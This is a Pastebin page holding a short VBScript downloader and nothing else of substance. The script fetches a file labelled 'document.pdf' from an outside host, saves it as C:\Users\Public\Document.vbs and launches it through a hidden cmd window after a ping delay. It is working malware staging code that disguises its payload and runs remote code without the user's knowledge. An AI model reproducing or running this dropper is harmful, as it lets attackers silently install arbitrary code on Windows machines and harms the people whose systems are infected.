Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- CreateObject("WScript.Shell").Run "cmd.exe /c ping 127.0.0.1 -n 10 > nul & start C:\Users\Public\Document.vbs", 0
- dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
- dim bStrm: Set bStrm = createobject("Adodb.Stream")
- xHttp.Open "GET", "http://facextrade.com.br/wp-document/document.pdf", False
- xHttp.Send
- with bStrm
- .type = 1 '//binary
- .open
- .write xHttp.responseBody
- .savetofile "C:\Users\Public\Document.vbs", 2 '//overwrite
- end with
Add Comment
Please, Sign In to add comment